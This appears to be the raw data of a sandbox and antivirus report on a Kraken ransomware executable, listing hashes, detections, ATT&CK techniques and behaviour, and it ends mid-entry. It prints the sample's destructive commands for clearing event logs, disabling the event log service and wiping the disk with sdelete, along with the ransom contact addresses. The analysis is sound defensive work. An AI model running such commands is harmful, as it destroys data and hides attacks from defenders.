00019557-00003560)30:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==1a:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$22"}}],["$","$L23",null,{"initialData":{"schema_version":"1.0.15","sha256":"528e4d24c18160b6bdd73c9a612d38a78fc58bd40c8ab415973a94429b321dfc","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790278596164,"unified_at":"2026-09-24T19:36:36.164Z","metadata":{"hashes":{"sha256":"528e4d24c18160b6bdd73c9a612d38a78fc58bd40c8ab415973a94429b321dfc","sha1":"af35055f23da42eb16096061f1e3e167fac2c64f","md5":"14fd33d833b37fdd0df997f5e108c43f","sha512":"afdbfcce37885f3d0e25365e4d41993f1920537ec4fda20aa4c238495102f08cdb42200b195cd68e4420ca5be42b1327d31466402db7ed29dc85a5c98e7fbe43","ssdeep":"1536:AHddGt/jqzl+dnZmwJA7ixHpYz9vF9N8fCiGW3V2aAbkH5LCgWRxmY:ud0/Ozl+FJYh90fCiGCYvbkZLCg8o","ssdeep_chunks":["1536:AHddGt/","1536:HddGt/j","1536:ddGt/jq","1536:dGt/jqz","1536:Gt/jqzl","1536:t/jqzl+","1536:/jqzl+d","1536:jqzl+dn","1536:qzl+dnZ","1536:zl+dnZm","1536:l+dnZmw","1536:+dnZmwJ","1536:dnZmwJA","1536:nZmwJA7","1536:ZmwJA7i","1536:mwJA7ix","1536:wJA7ixH","1536:JA7ixHp","1536:A7ixHpY","1536:7ixHpYz","1536:ixHpYz9","1536:xHpYz9v","1536:HpYz9vF","1536:pYz9vF9","1536:Yz9vF9N","1536:z9vF9N8","1536:9vF9N8f","1536:vF9N8fC","1536:F9N8fCi","1536:9N8fCiG","1536:N8fCiGW","1536:8fCiGW3","1536:fCiGW3V","1536:CiGW3V2","1536:iGW3V2a","1536:GW3V2aA","1536:W3V2aAb","1536:3V2aAbk","1536:V2aAbkH","1536:2aAbkH5","1536:aAbkH5L","1536:AbkH5LC","1536:bkH5LCg","1536:kH5LCgW","1536:H5LCgWR","1536:5LCgWRx","1536:LCgWRxm","1536:CgWRxmY","3072:AHddGt/","3072:HddGt/j","3072:ddGt/jq","3072:dGt/jqz","3072:Gt/jqzl","3072:t/jqzl+","3072:/jqzl+d","3072:jqzl+dn","3072:qzl+dnZ","3072:zl+dnZm","3072:l+dnZmw","3072:+dnZmwJ","3072:dnZmwJA","3072:nZmwJA7","3072:ZmwJA7i","3072:mwJA7ix","3072:wJA7ixH","3072:JA7ixHp","3072:A7ixHpY","3072:7ixHpYz","3072:ixHpYz9","3072:xHpYz9v","3072:HpYz9vF","3072:pYz9vF9","3072:Yz9vF9N","3072:z9vF9N8","3072:9vF9N8f","3072:vF9N8fC","3072:F9N8fCi","3072:9N8fCiG","3072:N8fCiGW","3072:8fCiGW3","3072:fCiGW3V","3072:CiGW3V2","3072:iGW3V2a","3072:GW3V2aA","3072:W3V2aAb","3072:3V2aAbk","3072:V2aAbkH","3072:2aAbkH5","3072:aAbkH5L","3072:AbkH5LC","3072:bkH5LCg","3072:kH5LCgW","3072:H5LCgWR","3072:5LCgWRx","3072:LCgWRxm","3072:CgWRxmY","1536:ud0/Ozl","1536:d0/Ozl+","1536:0/Ozl+F","1536:/Ozl+FJ","1536:Ozl+FJY","1536:zl+FJYh","1536:l+FJYh9","1536:+FJYh90","1536:FJYh90f","1536:JYh90fC","1536:Yh90fCi","1536:h90fCiG","1536:90fCiGC","1536:0fCiGCY","1536:fCiGCYv","1536:CiGCYvb","1536:iGCYvbk","1536:GCYvbkZ","1536:CYvbkZL","1536:YvbkZLC","1536:vbkZLCg","1536:bkZLCg8","1536:kZLCg8o"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"krakenc.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":96256,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1534925331000,"last_seen":1677366511000,"last_multi_scan":1677366511000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["adodb","crysis","ransomware"]},"stats":{"av":{"malicious_count":20,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":15},"sandbox_signatures":{"informative_count":25,"suspicious_count":19,"malicious_count":9,"total":53},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Ransom","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Ransom]/Win32.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Genasom.pubrg","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Generic.Ransom.KrakenB.D79B6D51","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"W32/Filecoder.CD.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.Agent (A)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/Filecoder.PI trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"Ransom/MSIL.LockFile.c","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 0053d3441 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan-Ransom.Win32.Agent.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Ransom-O.k","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Encoder.fhzore","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Mal/Krakryp-A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"malicious","threat_name":"Ransom/W32.DN-Kraken.96256.B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"Ransom_.BC179B7B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"Ransom_.BC179B7B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.Win32.167851","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Service Execution","attack_id":"T1035","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1035","identifiers":[{"type":"suspicious","value":"Opened the service control manager"}],"sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"tactic":"Persistence","technique":"Hooking","attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1215","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1215","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1055","identifiers":[{"type":"suspicious","value":"Allocates virtual memory in a remote process"}],"sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1107","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1107","identifiers":[{"type":"malicious","value":"Tries to delete registry keys using reg.exe"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1112","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"tactic":"Defense Evasion","technique":"Disabling Security Tools","attack_id":"T1089","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1089","identifiers":[{"type":"suspicious","value":"Makes use of the windows event log utility"}],"sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1083","identifiers":[{"type":"informative","value":"Contains ability to query volume size"}],"sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1057","identifiers":[{"type":"suspicious","value":"Queries process information"}],"sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1082","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1124","identifiers":[{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","identifiers":[{"type":"suspicious","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads information about supported languages"}],"sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1018","identifiers":[{"type":"suspicious","value":"Checks network status using ping"}],"sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1114","identifiers":[{"type":"suspicious","value":"Found a potential E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"tactic":"Exfiltration","technique":"Data Compressed","attack_id":"T1002","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00019557-00003560-10651-16-012C932C\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00019557-00003560-10651-277-012C92FB\n SetUnhandledExceptionFilter@KERNEL32.dll at 19863-468-004092FB\n SetUnhandledExceptionFilter@KERNEL32.dll at 23260-167-00000001400095E8\n SetUnhandledExceptionFilter@KERNEL32.dll at 23260-653-00000001400095B8","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00019557-00003560-10651-238-012CD4EA","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersion@KERNEL32.DLL at 00019557-00003560-10651-159-012C2DD0\n GetVersion@KERNEL32.DLL at 00019557-00003560-10651-52-012C44C0\n GetVersion@KERNEL32.dll at 23260-343-0000000140002FC0","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceW@KERNEL32.DLL at 00019557-00003560-10651-134-012C2E50\n GetDiskFreeSpaceW@KERNEL32.DLL at 00019557-00003560-10651-150-012C3CB0\n GetDiskFreeSpaceW@KERNEL32.dll at 23260-203-0000000140002750\n GetDiskFreeSpaceW@KERNEL32.dll at 23260-242-0000000140003C80","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp eax, 80000000h\" and \"jnc 012C2E1Dh\" at 00019557-00003560-10651-159-012C2DD0\n Found API call GetVersion@KERNEL32.dll directly followed by \"cmp eax, 80000000h\" and \"jnc 0000000140003023h\" at 23260-343-0000000140002FC0","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"Environment Awareness","name":"Possibly tries to detect the presence of a debugger","description":"GetProcessHeap@KERNEL32.DLL at 00019557-00003560-10651-237-012CA32D\n GetProcessHeap@KERNEL32.DLL at 00019557-00003560-10651-1-012C699F\n GetProcessHeap@KERNEL32.dll at 23260-384-000000014000A924","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"download.sysinternals.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"152.199.19.160:443\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"sdelete.exe\" created file \"%TEMP%\\SDELTEMP\"\n \"sdelete.exe\" created file \"%TEMP%\\SDELMFT000000\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Kraken\"\n \"\\Sessions\\1\\BaseNamedObjects\\RasPbFile\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Global\\.net clr networking\"\n \"Kraken\"\n \"RasPbFile\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"sdelete64.exe\" as clean (type is \"PE32+ executable (console) x86-64 for MS Windows\"), Antivirus vendors marked dropped file \"sdelete.exe\" as clean (type is \"PE32 executable (console) Intel 80386 for MS Windows\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"\" loaded module \"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll\" at 6A710000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/C wevtutil.exe clear-log Application\" on 2018-8-22.09:06:43.235\n \"/C wevtutil.exe clear-log Security\" on 2018-8-22.09:06:43.536\n \"/C wevtutil.exe clear-log System\" on 2018-8-22.09:06:43.706\n \"/C sc config eventlog start=disabled\" on 2018-8-22.09:06:43.906\n \"/C REG add \"HKLM\\SYSTEM\\CurrentControlSet\\services\\eventlog\" / v Start / t REG_DWORD / d 4 / f\" on 2018-8-22.09:06:43.996\n \"/C cd %ALLUSERSPROFILE%\\ && release.bat\" on 2018-8-22.09:08:24.296\n \"cmd /c \"\"%TEMP%\\uk1dp015.0s0.bat\" \"\" on 2018-8-22.09:08:24.386\n \"/c %ALLUSERSPROFILE%\\sdelete.exe -c -z C:\" on 2018-8-22.09:08:24.906","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$24","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$25","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"rRgk91Ih5n.doc\" has type \"data\"\n \"dH1rDN9f9.doc\" has type \"data\"\n \"6SZfLTu9z.doc\" has type \"data\"\n \"lCEf83Wf7e4nuIMk.doc\" has type \"data\"\n \"C04T72pR0Bcl.doc\" has type \"data\"\n \"w5JaoO.doc\" has type \"data\"\n \"uk1dp015.0s0.bat\" has type \"DOS batch file ASCII text with CRLF line terminators\"\n \"sdelete64.exe\" has type \"PE32+ executable (console) x86-64 for MS Windows\"\n \"bg3oTe.doc\" has type \"data\"\n \"0zIG0D.doc\" has type \"data\"\n \"klmqz.doc\" has type \"data\"\n \"mtgFs8Za.doc\" has type \"data\"\n \"F3hzum1.doc\" has type \"data\"\n \"Tmg2wsFHYf9ioO.doc\" has type \"data\"\n \"hKY8.doc\" has type \"data\"\n \"5F1yaAIKfUGQcmmt.doc\" has type \"data\"\n \"sdelete.exe\" has type \"PE32 executable (console) Intel 80386 for MS Windows\"\n \"0gakl8ixtWMkw.doc\" has type \"data\"\n \"EKeaJO.doc\" has type \"data\"\n \"release.bat\" has type \"ASCII text with CRLF line terminators\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"Installation/Persistance","name":"Drops executable files","description":"\"sdelete64.exe\" has type \"PE32+ executable (console) x86-64 for MS Windows\"\n \"sdelete.exe\" has type \"PE32 executable (console) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"cmd.exe\" opened \"\\Device\\MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$26","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"en.wikipedia.org/wiki/Bitcoins\\r\\n\\r\\n\"\n Pattern match: \"localBitcoins.com/buy_Bitcoins\\r\\n\\r\\nOther\"\n Pattern match: \"http://schemas.microsoft.com/SMI/2005/WindowsSettings\"\n Heuristic match: \"download.sysinternals.com\"\n Pattern match: \"www.microsoft.com/exporting\"\n Pattern match: \"www.sysinternals.com\"\n Pattern match: \"https://en.wikipedia.org/wiki/Bitcoins\"\n Heuristic match: \"`--~` ) ) .-'.' '.'. | ( E-Mail : onionhelp@memeware.net\"\n Heuristic match: \"(/` ( (` ) ) '-; Alternative : BM-2cWdhn4f5UyMvruDBGs5bK77NsCFALMJkR@bitmessage.ch\"\n Pattern match: \"https://localBitcoins.com/buy_Bitcoins\"\n Pattern match: \"https://Bitcoins.org/en/exchanges\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"\n \"tasklist.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1215","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"krakenc.exe.bin\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"sdelete.exe\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","mitre_attack_id":"T1002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"wevtutil.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry 